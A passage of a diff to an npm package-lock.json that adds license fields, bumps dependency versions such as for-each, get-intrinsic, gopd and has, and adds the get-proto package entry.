         "xtend": "~2.1.1"
@@ -3332,27 +3598,24 @@
       "resolved": "https://registry.npmjs.org/ext/-/ext-1.7.0.tgz",
       "integrity": "sha512-6hxeJYaL110a9b5TEJSj0gojyHQAmA2ch5Os+ySCiA1QGdS697XWY1pzsrSjqA9LDEEgdB/KypIlR59RcLuHYw==",
       "dev": true,
+      "license": "ISC",
       "dependencies": {
         "type": "^2.7.2"
       }
     },
-    "node_modules/ext/node_modules/type": {
-      "version": "2.7.2",
-      "resolved": "https://registry.npmjs.org/type/-/type-2.7.2.tgz",
-      "integrity": "sha512-dzlvlNlt6AXU7EBSfpAscydQ7gXB+pPGsPnfJnZpiNJBDj7IaJzQlBZYGdEi4R9HmPdBv2XmWJ6YUtoTa7lmCw==",
-      "dev": true
-    },
     "node_modules/extend": {
       "version": "3.0.2",
       "resolved": "https://registry.npmjs.org/extend/-/extend-3.0.2.tgz",
       "integrity": "sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/extend-shallow": {
       "version": "3.0.2",
       "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-3.0.2.tgz",
       "integrity": "sha512-BwY5b5Ql4+qZoefgMj2NUmx+tehVTH/Kf4k1ZEtOHNFcm2wSxMRo992l6X3TIgni2eZVTZ85xMOjF31fwZAj6Q==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "assign-symbols": "^1.0.0",
         "is-extendable": "^1.0.1"
@@ -3366,6 +3629,7 @@
       "resolved": "https://registry.npmjs.org/external-editor/-/external-editor-3.1.0.tgz",
       "integrity": "sha512-hMQ4CX1p1izmuLYyZqLMO/qGNw10wSv9QDCPfzXfyFrOaCSSoRfqE1Kf1s5an66J5JZC62NewG+mK49jOCtQew==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "chardet": "^0.7.0",
         "iconv-lite": "^0.4.24",
@@ -3380,6 +3644,7 @@
       "resolved": "https://registry.npmjs.org/extglob/-/extglob-2.0.4.tgz",
       "integrity": "sha512-Nmb6QXkELsuBr24CJSkilo6UHHgbekK5UiZgfE6UHD3Eb27YC6oD+bhcT+tJ6cl8dmsgdQxnWlcry8ksBIBLpw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "array-unique": "^0.3.2",
         "define-property": "^1.0.0",
@@ -3399,6 +3664,7 @@
       "resolved": "https://registry.npmjs.org/define-property/-/define-property-1.0.0.tgz",
       "integrity": "sha512-cZTYKFWspt9jZsMscWo8sc/5lbPC9Q0N5nBLgb+Yd915iL3udB1uFgS3B8YCx66UVHq018DAVFoee7x+gxggeA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "is-descriptor": "^1.0.0"
       },
@@ -3411,6 +3677,7 @@
       "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz",
       "integrity": "sha512-zCnTtlxNoAiDc3gqY2aYAWFx7XWWiasuF2K8Me5WbN8otHKTUKBwjPtNpRs/rbUZm7KxWAaNj7P1a/p52GbVug==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "is-extendable": "^0.1.0"
       },
@@ -3423,6 +3690,7 @@
       "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-0.1.1.tgz",
       "integrity": "sha512-5BMULNob1vgFX6EjQw5izWDxrecWK9AM72rugNr0TFldMOi0fj6Jk+zeKIt0xGj4cEfQIJth4w3OKWOJ4f+AFw==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=0.10.0"
       }
@@ -3434,35 +3702,41 @@
       "dev": true,
       "engines": [
         "node >=0.6.0"
-      ]
+      ],
+      "license": "MIT"
     },
     "node_modules/fast-deep-equal": {
       "version": "3.1.3",
       "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz",
-      "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q=="
+      "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==",
+      "license": "MIT"
     },
     "node_modules/fast-json-stable-stringify": {
       "version": "2.1.0",
       "resolved": "https://registry.npmjs.org/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz",
-      "integrity": "sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw=="
+      "integrity": "sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw==",
+      "license": "MIT"
     },
     "node_modules/fast-levenshtein": {
       "version": "2.0.6",
       "resolved": "https://registry.npmjs.org/fast-levenshtein/-/fast-levenshtein-2.0.6.tgz",
       "integrity": "sha512-DCXu6Ifhqcks7TZKY3Hxp3y6qphY5SJZmrWMDrKcERSOXWQdMhU9Ig/PYrzyw/ul9jOIyh0N4M0tbC5hodg8dw==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/fast-safe-stringify": {
       "version": "2.1.1",
       "resolved": "https://registry.npmjs.org/fast-safe-stringify/-/fast-safe-stringify-2.1.1.tgz",
       "integrity": "sha512-W+KJc2dmILlPplD/H4K9l9LcAHAfPtP6BY84uVLXQ6Evcz9Lcg33Y2z1IVblT6xdY54PXYVHEv+0Wpq8Io6zkA==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/fb-watchman": {
       "version": "2.0.2",
       "resolved": "https://registry.npmjs.org/fb-watchman/-/fb-watchman-2.0.2.tgz",
       "integrity": "sha512-p5161BqbuCaSnB8jIbzQHOlpgsPmK5rJVDfDKO91Axs5NC1uu3HRQm6wt9cd9/+GtQQIO53JdGXXoyDpTAsgYA==",
       "dev": true,
+      "license": "Apache-2.0",
       "dependencies": {
         "bser": "2.1.1"
       }
@@ -3472,6 +3746,7 @@
       "resolved": "https://registry.npmjs.org/figures/-/figures-2.0.0.tgz",
       "integrity": "sha512-Oa2M9atig69ZkfwiApY8F2Yy+tzMbazyvqv21R0NsSC8floSOC09BbT1ITWAdoMGQvJ/aZnR1KMwdx9tvHnTNA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "escape-string-regexp": "^1.0.5"
       },
@@ -3484,6 +3759,7 @@
       "resolved": "https://registry.npmjs.org/file-entry-cache/-/file-entry-cache-5.0.1.tgz",
       "integrity": "sha512-bCg29ictuBaKUwwArK4ouCaqDgLZcysCFLmM/Yn/FDoqndh/9vNuQfXRDvTuXKLxfD/JtZQGKFT8MGcJBK644g==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "flat-cache": "^2.0.1"
       },
@@ -3496,6 +3772,7 @@
       "resolved": "https://registry.npmjs.org/file-uri-to-path/-/file-uri-to-path-1.0.0.tgz",
       "integrity": "sha512-0Zt+s3L7Vf1biwWZ29aARiVYLx7iMGnEUl9x33fbB/j3jR81u/O2LbqK+Bm1CDSNDKVtJ/YjwY7TUd5SkeLQLw==",
       "dev": true,
+      "license": "MIT",
       "optional": true
     },
     "node_modules/fill-range": {
@@ -3503,6 +3780,7 @@
       "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-4.0.0.tgz",
       "integrity": "sha512-VcpLTWqWDiTerugjj8e3+esbg+skS3M9e54UuR3iCeIDMXCLTsAH8hTSzDQU/X6/6t3eYkOKoZSef2PlU6U1XQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "extend-shallow": "^2.0.1",
         "is-number": "^3.0.0",
@@ -3518,6 +3796,7 @@
       "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz",
       "integrity": "sha512-zCnTtlxNoAiDc3gqY2aYAWFx7XWWiasuF2K8Me5WbN8otHKTUKBwjPtNpRs/rbUZm7KxWAaNj7P1a/p52GbVug==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "is-extendable": "^0.1.0"
       },
@@ -3530,6 +3809,7 @@
       "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-0.1.1.tgz",
       "integrity": "sha512-5BMULNob1vgFX6EjQw5izWDxrecWK9AM72rugNr0TFldMOi0fj6Jk+zeKIt0xGj4cEfQIJth4w3OKWOJ4f+AFw==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=0.10.0"
       }
@@ -3538,13 +3818,15 @@
       "version": "0.3.1",
       "resolved": "https://registry.npmjs.org/find-parent-dir/-/find-parent-dir-0.3.1.tgz",
       "integrity": "sha512-o4UcykWV/XN9wm+jMEtWLPlV8RXCZnMhQI6F6OdHeSez7iiJWePw8ijOlskJZMsaQoGR/b7dH6lO02HhaTN7+A==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/find-up": {
       "version": "3.0.0",
       "resolved": "https://registry.npmjs.org/find-up/-/find-up-3.0.0.tgz",
       "integrity": "sha512-1yD6RmLI1XBfxugvORwlck6f75tYL+iR0jqwsOrOxMZyGYqUuDhJ0l4AXdO1iX/FTs9cBAMEk1gWSEx1kSbylg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "locate-path": "^3.0.0"
       },
@@ -3557,6 +3839,7 @@
       "resolved": "https://registry.npmjs.org/flat-cache/-/flat-cache-2.0.1.tgz",
       "integrity": "sha512-LoQe6yDuUMDzQAEH8sgmh4Md6oZnc/7PjtwjNFSzveXqSHt6ka9fPBuso7IGf9Rz4uqnSnWiFH2B/zj24a5ReA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "flatted": "^2.0.0",
         "rimraf": "2.6.3",
@@ -3570,15 +3853,23 @@
       "version": "2.0.2",
       "resolved": "https://registry.npmjs.org/flatted/-/flatted-2.0.2.tgz",
       "integrity": "sha512-r5wGx7YeOwNWNlCA0wQ86zKyDLMQr+/RB8xy74M4hTphfmjlijTSSXGuH8rnvKZnfT9i+75zmd8jcKdMR4O6jA==",
-      "dev": true
+      "dev": true,
+      "license": "ISC"
     },
     "node_modules/for-each": {
-      "version": "0.3.3",
-      "resolved": "https://registry.npmjs.org/for-each/-/for-each-0.3.3.tgz",
-      "integrity": "sha512-jqYfLp7mo9vIyQf8ykW2v7A+2N4QjeCeI5+Dz9XraiO1ign81wjiH7Fb9vSOWvQfNtmSa4H2RoQTrrXivdUZmw==",
+      "version": "0.3.5",
+      "resolved": "https://registry.npmjs.org/for-each/-/for-each-0.3.5.tgz",
+      "integrity": "sha512-dKx12eRCVIzqCxFGplyFKJMPvLEWgmNtUrpTiJIR5u97zEhRG8ySrtboPHZXx7daLxQVrl643cTzbab2tkQjxg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
-        "is-callable": "^1.1.3"
+        "is-callable": "^1.2.7"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
       }
     },
     "node_modules/for-in": {
@@ -3586,6 +3877,7 @@
       "resolved": "https://registry.npmjs.org/for-in/-/for-in-1.0.2.tgz",
       "integrity": "sha512-7EwmXrOjyL+ChxMhmG5lnW9MPt1aIeZEwKhQzoBUdTV0N3zuwWDZYVJatDvZ2OyzPUvdIAZDsCetk3coyMfcnQ==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=0.10.0"
       }
@@ -3595,6 +3887,7 @@
       "resolved": "https://registry.npmjs.org/forever-agent/-/forever-agent-0.6.1.tgz",
       "integrity": "sha512-j0KLYPhm6zeac4lz3oJ3o65qvgQCcPubiyotZrXqEaG4hNagNYO8qdlUrX5vwqv9ohqeT/Z3j6+yW067yWWdUw==",
       "dev": true,
+      "license": "Apache-2.0",
       "engines": {
         "node": "*"
       }
@@ -3604,6 +3897,7 @@
       "resolved": "https://registry.npmjs.org/form-data/-/form-data-2.3.3.tgz",
       "integrity": "sha512-1lLKB2Mu3aGP1Q/2eCOx0fNbRMe7XdwktwOruhfqqd0rIJWwN4Dh+E3hrPSlDCXnSR7UtZ1N38rVXm+6+MEhJQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "asynckit": "^0.4.0",
         "combined-stream": "^1.0.6",
@@ -3619,6 +3913,7 @@
       "integrity": "sha512-KcpbcpuLNOwrEjnbpMC0gS+X8ciDoZE1kkqzat4a8vrprf+s9pKNQ/QIwWfbfs4ltgmFl3MD177SNTkve3BwGQ==",
       "deprecated": "Please upgrade to latest, formidable@v2 or formidable@v3! Check these notes: https://bit.ly/2ZEqIau",
       "dev": true,
+      "license": "MIT",
       "funding": {
         "url": "https://ko-fi.com/tunnckoCore/commissions"
       }
@@ -3628,6 +3923,7 @@
       "resolved": "https://registry.npmjs.org/fragment-cache/-/fragment-cache-0.2.1.tgz",
       "integrity": "sha512-GMBAbW9antB8iZRHLoGw0b3HANt57diZYFO/HL1JGIC1MjKrdmhxvrJbupnVvpys0zsz7yBApXdQyfepKly2kA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "map-cache": "^0.2.2"
       },
@@ -3639,6 +3935,7 @@
       "version": "1.0.0",
       "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-1.0.0.tgz",
       "integrity": "sha512-VerQV6vEKuhDWD2HGOybV6v5I73syoc/cXAbKlgTC7M/oFVEtklWlp9QH2Ijw3IaWDOQcMkldSPa7zXy79Z/UQ==",
+      "license": "MIT",
       "dependencies": {
         "graceful-fs": "^4.1.2",
         "jsonfile": "^2.1.0",
@@ -3649,15 +3946,17 @@
       "version": "1.0.0",
       "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz",
       "integrity": "sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw==",
-      "dev": true
+      "dev": true,
+      "license": "ISC"
     },
     "node_modules/fsevents": {
       "version": "1.2.13",
       "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-1.2.13.tgz",
       "integrity": "sha512-oWb1Z6mkHIskLzEJ/XWX0srkpkTQ7vaopMQkyaEIoq0fmtFVxOthb8cCxeT+p3ynTdkk/RZwbgG4brR5BeWECw==",
-      "deprecated": "The v1 package contains DANGEROUS / INSECURE binaries. Upgrade to safe fsevents v2",
+      "deprecated": "Upgrade to fsevents v2 to mitigate potential security issues",
       "dev": true,
       "hasInstallScript": true,
+      "license": "MIT",
       "optional": true,
       "os": [
         "darwin"
@@ -3671,20 +3970,27 @@
       }
     },
     "node_modules/function-bind": {
-      "version": "1.1.1",
-      "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.1.tgz",
-      "integrity": "sha512-yIovAzMX49sF8Yl58fSCWJ5svSLuaibPxXQJFLmBObTuCr0Mf1KiPopGM9NiFjiYBCbfaa2Fh6breQ6ANVTI0A=="
+      "version": "1.1.2",
+      "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz",
+      "integrity": "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==",
+      "license": "MIT",
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
     },
     "node_modules/function.prototype.name": {
-      "version": "1.1.5",
-      "resolved": "https://registry.npmjs.org/function.prototype.name/-/function.prototype.name-1.1.5.tgz",
-      "integrity": "sha512-uN7m/BzVKQnCUF/iW8jYea67v++2u7m5UgENbHRtdDVclOUP+FMPlCNdmk0h/ysGyo2tavMJEDqJAkJdRa1vMA==",
+      "version": "1.1.8",
+      "resolved": "https://registry.npmjs.org/function.prototype.name/-/function.prototype.name-1.1.8.tgz",
+      "integrity": "sha512-e5iwyodOHhbMr/yNrc7fDYG4qlbIvI5gajyzPnb5TCwyhjApznQh1BMFou9b30SevY43gCJKXycoCBjMbsuW0Q==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
-        "call-bind": "^1.0.2",
-        "define-properties": "^1.1.3",
-        "es-abstract": "^1.19.0",
-        "functions-have-names": "^1.2.2"
+        "call-bind": "^1.0.8",
+        "call-bound": "^1.0.3",
+        "define-properties": "^1.2.1",
+        "functions-have-names": "^1.2.3",
+        "hasown": "^2.0.2",
+        "is-callable": "^1.2.7"
       },
       "engines": {
         "node": ">= 0.4"
@@ -3697,13 +4003,15 @@
       "version": "1.0.1",
       "resolved": "https://registry.npmjs.org/functional-red-black-tree/-/functional-red-black-tree-1.0.1.tgz",
       "integrity": "sha512-dsKNQNdj6xA3T+QlADDA7mOSlX0qiMINjn0cgr+eGHGsbSHzTabcIogz2+p/iqP1Xs6EP/sS2SbqH+brGTbq0g==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/functions-have-names": {
       "version": "1.2.3",
       "resolved": "https://registry.npmjs.org/functions-have-names/-/functions-have-names-1.2.3.tgz",
       "integrity": "sha512-xckBUXyTIqT97tq2x2AMb+g163b5JFysYk0x4qxNFwbfQkmNZoiRHb6sPzI9/QV33WeuvVYBUIiD4NzNIyqaRQ==",
       "dev": true,
+      "license": "MIT",
       "funding": {
         "url": "https://github.com/sponsors/ljharb"
       }
@@ -3713,6 +4021,7 @@
       "resolved": "https://registry.npmjs.org/gensync/-/gensync-1.0.0-beta.2.tgz",
       "integrity": "sha512-3hN7NaskYvMDLQY55gnW3NQ+mesEAepTqlg+VEbj7zzqEMBVNhzcGYYeqFo/TlYz6eQiFcp1HcsCZO+nGgS8zg==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=6.9.0"
       }
@@ -3721,33 +4030,60 @@
       "version": "1.2.0",
       "resolved": "https://registry.npmjs.org/get-assigned-identifiers/-/get-assigned-identifiers-1.2.0.tgz",
       "integrity": "sha512-mBBwmeGTrxEMO4pMaaf/uUEFHnYtwr8FTe8Y/mer4rcV/bye0qGm6pw1bGZFGStxC5O76c5ZAVBGnqHmOaJpdQ==",
-      "dev": true
+      "dev": true,
+      "license": "Apache-2.0"
     },
     "node_modules/get-caller-file": {
       "version": "1.0.3",
       "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-1.0.3.tgz",
-      "integrity": "sha512-3t6rVToeoZfYSGd8YoLFR2DJkiQrIiUrGcjvFX2mDw3bn6k2OtwHN0TNCLbBO+w8qTvimhDkv+LSscbJY1vE6w=="
+      "integrity": "sha512-3t6rVToeoZfYSGd8YoLFR2DJkiQrIiUrGcjvFX2mDw3bn6k2OtwHN0TNCLbBO+w8qTvimhDkv+LSscbJY1vE6w==",
+      "license": "ISC"
     },
     "node_modules/get-intrinsic": {
-      "version": "1.2.1",
-      "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.2.1.tgz",
-      "integrity": "sha512-2DcsyfABl+gVHEfCOaTrWgyt+tb6MSEGmKq+kI5HwLbIYgjgmMcV8KQ41uaKz1xxUcn9tJtgFbQUEVcEbd0FYw==",
+      "version": "1.3.0",
+      "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.3.0.tgz",
+      "integrity": "sha512-9fSjSaos/fRIVIp+xSJlE6lfwhES7LNtKaCBIamHsjr2na1BiABJPo0mOjjz8GJDURarmCPGqaiVg5mfjb98CQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
-        "function-bind": "^1.1.1",
-        "has": "^1.0.3",
-        "has-proto": "^1.0.1",
-        "has-symbols": "^1.0.3"
+        "call-bind-apply-helpers": "^1.0.2",
+        "es-define-property": "^1.0.1",
+        "es-errors": "^1.3.0",
+        "es-object-atoms": "^1.1.1",
+        "function-bind": "^1.1.2",
+        "get-proto": "^1.0.1",
+        "gopd": "^1.2.0",
+        "has-symbols": "^1.1.0",
+        "hasown": "^2.0.2",
+        "math-intrinsics": "^1.1.0"
+      },
+      "engines": {
+        "node": ">= 0.4"
       },
       "funding": {
         "url": "https://github.com/sponsors/ljharb"
       }
     },
+    "node_modules/get-proto": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/get-proto/-/get-proto-1.0.1.tgz",
+      "integrity": "sha512-sTSfBjoXBp89JvIKIefqw7U2CCebsc74kiY6awiGogKtoSGbgjYE/G/+l9sF3MWFPNc9IcoOC4ODfKHfxFmp0g==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "dunder-proto": "^1.0.1",
+        "es-object-atoms": "^1.0.0"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      }
+    },
     "node_modules/get-stream": {
       "version": "4.1.0",
       "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-4.1.0.tgz",
       "integrity": "sha512-GMat4EJ5161kIy2HevLlr4luNjBgvmj413KaQA7jt4V8B4RDsfpHk7WQ9GVqfYyyx8OS/L66Kox+rJRNklLK7w==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "pump": "^3.0.0"
       },
@@ -3756,13 +4092,15 @@
       }
     },
     "node_modules/get-symbol-description": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/get-symbol-description/-/get-symbol-description-1.0.0.tgz",
-      "integrity": "sha512-2EmdH1YvIQiZpltCNgkuiUnyukzxM/R6NDJX31Ke3BG1Nq5b0S2PhX59UKi9vZpPDQVdqn+1IcaAwnzTT5vCjw==",
+      "version": "1.1.0",
+      "resolved": "https://registry.npmjs.org/get-symbol-description/-/get-symbol-description-1.1.0.tgz",
+      "integrity": "sha512-w9UMqWwJxHNOvoNzSJ2oPF5wvYcvP7jUvYzhp67yEhTi17ZDBBC1z9pTdGuzjD+EFIqLSYRweZjqfiPzQ06Ebg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
-        "call-bind": "^1.0.2",
-        "get-intrinsic": "^1.1.1"
+        "call-bound": "^1.0.3",
+        "es-errors": "^1.3.0",
+        "get-intrinsic": "^1.2.6"
       },
       "engines": {
         "node": ">= 0.4"
@@ -3776,6 +4114,7 @@
       "resolved": "https://registry.npmjs.org/get-value/-/get-value-2.0.6.tgz",
       "integrity": "sha512-Ln0UQDlxH1BapMu3GPtf7CuYNwRZf2gwCuPqbyG6pB8WfmFpzqcy4xtAaAMUhnNqjMKTiCPZG2oMT3YSx8U2NA==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=0.10.0"
       }
@@ -3785,6 +4124,7 @@
       "resolved": "https://registry.npmjs.org/getpass/-/getpass-0.1.7.tgz",
       "integrity": "sha512-0fzj9JxOLfJ+XGLhR8ze3unN0KZCgZwiSSDz168VERjK8Wl8kVSdcu2kspd4s4wtAa1y/qrVRiAA0WclVsu0ng==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "assert-plus": "^1.0.0"
       }
@@ -3793,7 +4133,9 @@
       "version": "7.2.3",
       "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz",
       "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==",
+      "deprecated": "Glob versions prior to v9 are no longer supported",
       "dev": true,
+      "license": "ISC",
       "dependencies": {
         "fs.realpath": "^1.0.0",
         "inflight": "^1.0.4",
@@ -3814,17 +4156,20 @@
       "resolved": "https://registry.npmjs.org/globals/-/globals-11.12.0.tgz",
       "integrity": "sha512-WOBp/EEGUiIsJSp7wcv/y6MO+lV9UoncWqxuFfm8eBwzWNgyfBd6Gz+IeKQ9jCmyhoH99g15M3T+QaVHFjizVA==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=4"
       }
     },
     "node_modules/globalthis": {
-      "version": "1.0.3",
-      "resolved": "https://registry.npmjs.org/globalthis/-/globalthis-1.0.3.tgz",
-      "integrity": "sha512-sFdI5LyBiNTHjRd7cGPWapiHWMOXKyuBNX/cWJ3NfzrZQVa8GI/8cofCl74AOVqq9W5kNmguTIzJ/1s2gyI9wA==",
+      "version": "1.0.4",
+      "resolved": "https://registry.npmjs.org/globalthis/-/globalthis-1.0.4.tgz",
+      "integrity": "sha512-DpLKbNU4WylpxJykQujfCcwYWiV/Jhm50Goo0wrVILAv5jOr9d+H+UR3PhSCD2rCCEIg0uc+G+muBTwD54JhDQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
-        "define-properties": "^1.1.3"
+        "define-properties": "^1.2.1",
+        "gopd": "^1.0.1"
       },
       "engines": {
         "node": ">= 0.4"
@@ -3838,6 +4183,7 @@
       "resolved": "https://registry.npmjs.org/globo/-/globo-1.1.0.tgz",
       "integrity": "sha512-9kacJpRuOo2IPxzYdogGZKnREZXMLs7P2/gaeHxynuL7kmxdB9o4EVtpd69f81CeUFWmZSxj1heZFEXQDTkaLQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "accessory": "~1.1.0",
         "is-defined": "~1.0.0",
@@ -3848,12 +4194,13 @@
       }
     },
     "node_modules/gopd": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npmjs.org/gopd/-/gopd-1.0.1.tgz",
-      "integrity": "sha512-d65bNlIadxvpb/A2abVdlqKqV563juRnZ1Wtk6s1sIR8uNsXR70xqIzVqxVf1eTqDunwT2MkczEeaezCKTZhwA==",
+      "version": "1.2.0",
+      "resolved": "https://registry.npmjs.org/gopd/-/gopd-1.2.0.tgz",
+      "integrity": "sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg==",
       "dev": true,
-      "dependencies": {
-        "get-intrinsic": "^1.1.3"
+      "license": "MIT",
+      "engines": {
+        "node": ">= 0.4"
       },
       "funding": {
         "url": "https://github.com/sponsors/ljharb"
@@ -3862,19 +4209,22 @@
     "node_modules/graceful-fs": {
       "version": "4.2.11",
       "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz",
-      "integrity": "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ=="
+      "integrity": "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==",
+      "license": "ISC"
     },
     "node_modules/growly": {
       "version": "1.3.0",
       "resolved": "https://registry.npmjs.org/growly/-/growly-1.3.0.tgz",
       "integrity": "sha512-+xGQY0YyAWCnqy7Cd++hc2JqMYzlm0dG30Jd0beaA64sROr8C4nt8Yc9V5Ro3avlSUDTN0ulqP/VBKi1/lLygw==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/har-schema": {
       "version": "2.0.0",
       "resolved": "https://registry.npmjs.org/har-schema/-/har-schema-2.0.0.tgz",
       "integrity": "sha512-Oqluz6zhGX8cyRaTQlFMPw80bSJVG2x/cFb8ZPhUILGgHka9SsokCCOQgpveePerqidZOrT14ipqfJb7ILcW5Q==",
       "dev": true,
+      "license": "ISC",
       "engines": {
         "node": ">=4"
       }
@@ -3885,6 +4235,7 @@
       "integrity": "sha512-nmT2T0lljbxdQZfspsno9hgrG3Uir6Ks5afism62poxqBM6sDnMEuPmzTq8XN0OEwqKLLdh1jQI3qyE66Nzb3w==",
       "deprecated": "this library is no longer supported",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "ajv": "^6.12.3",
         "har-schema": "^2.0.0"
@@ -3894,21 +4245,24 @@
       }
     },
     "node_modules/has": {
-      "version": "1.0.3",
-      "resolved": "https://registry.npmjs.org/has/-/has-1.0.3.tgz",
-      "integrity": "sha512-f2dvO0VU6Oej7RkWJGrehjbzMAjFp5/VKPp5tTpWIV4JHHZK1/BxbFRtf/siA2SWTe09caDmVtYYzWEIbBS4zw==",
-      "dependencies": {
-        "function-bind": "^1.1.1"
-      },
+      "version": "1.0.4",
+      "resolved": "https://registry.npmjs.org/has/-/has-1.0.4.tgz",
+      "integrity": "sha512-qdSAmqLF6209RFj4VVItywPMbm3vWylknmB3nvNiUIs72xAimcM8nVYxYr7ncvZq5qzk9MKIZR8ijqD/1QuYjQ==",
+      "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">= 0.4.0"
       }
     },
     "node_modules/has-bigints": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npmjs.org/has-bigints/-/has-bigints-1.0.2.tgz",
-      "integrity": "sha512-tSvCKtBr9lkF0Ex0aQiP9N+OpV4zi2r/Nee5VkRDbaqv35RLYMzbwQfFSZZH0kR+Rd6302UJZ2p/bJCEoR3VoQ==",
+      "version": "1.1.0",
+      "resolved": "https://registry.npmjs.org/has-bigints/-/has-bigints-1.1.0.tgz",
+      "integrity": "sha512-R3pbpkcIqv2Pm3dUwgjclDRVmWpTJW2DcMzcIhEXEx1oh/CEMObMm3KLmRJOdvhM7o4uQBnwr8pzRK2sJWIqfg==",
       "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">= 0.4"
+      },
       "funding": {
         "url": "https://github.com/sponsors/ljharb"
       }
@@ -3918,27 +4272,33 @@
       "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz",
       "integrity": "sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=4"
